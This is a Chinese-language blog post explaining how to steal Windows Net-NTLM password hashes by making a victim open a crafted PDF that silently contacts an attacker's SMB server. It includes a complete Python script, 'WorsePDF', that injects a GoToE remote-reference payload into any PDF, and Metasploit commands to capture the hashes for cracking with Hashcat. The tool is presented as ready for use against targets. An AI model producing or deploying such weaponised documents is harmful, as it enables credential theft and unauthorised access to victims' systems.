论安全萌新的自我修养

   :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

简介:

当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的NetNTLMHash,通过使用Hashcat暴力破解还原就有可能获得用户系统的明文密码

原理:

在PDF规范允许为GoTobe和GoToR条目来加载远程数据,正是利用这一特性能够帮我们请求远程恶意smb服务器,以此达到截获目标系统用户密码hash的目的

具体思路:

构造一份特殊的PDF文档,请求SMB服务器的一份文件
在SMB服务器上抓包
用户使用PDF阅读器打开PDF文档时,Windows系统将当前用户的Net NTLM Hash发送到SMB服务器
SMB服务器提取出Net NTLM Hash,使用Hashcat进行破解
还原出用户的明文密码
根据用户的明文密码尝试进一步利用

使用如下脚本进行构造恶意的PDF文件:

import sys

def AddPayload(Data,ip):
    Payload = '/AA <</O <</F (\\\\\\\\' + ip + '\\\\test)/D [ 0 /Fit]/S /GoToE>>>>'
    index1 = Data.find('/Parent') + 13
#    print "%x" % index1
    Newdata = Data[0:index1] + Payload + Data[index1:]
    return Newdata

if __name__ == "__main__":
    print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines."



    if len(sys.argv)!=3:
        print ('Usage:')
        print ('    WorsePDF.py <normal PDF file Path> <ServerIP>')
        sys.exit(0)

    print "[*]NormalPDF: %s" % sys.argv[1]
    print "[*]ServerIP: %s" % sys.argv[2]

    file_object = open(sys.argv[1],'rb')
    try:
         all_the_text = file_object.read( )
    finally:
         file_object.close()

    Newdata = AddPayload(all_the_text,sys.argv[2])
    MaliciousPath = sys.argv[1] + '.malicious.pdf'

    print "[+]MaliciousPDF: %s" % MaliciousPath
    file_object2 = open(MaliciousPath, 'wb')
    file_object2.write(Newdata)
    file_object2.close()
    print "[*]All Done"

构造文件如下,这里ip是msf的ip:

msf接收发过来的ntlm认证数据:

msf5 > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile pdf
msf5 auxiliary(server/capture/smb) > run

使用abode reader打开:

获得监听如下:

获得ntlmhash数据包如下:

以此进一步进行解密即可完成利用

posted on 2020-08-19 20:21  Yangsir34  阅读(299)  评论(0编辑  收藏  举报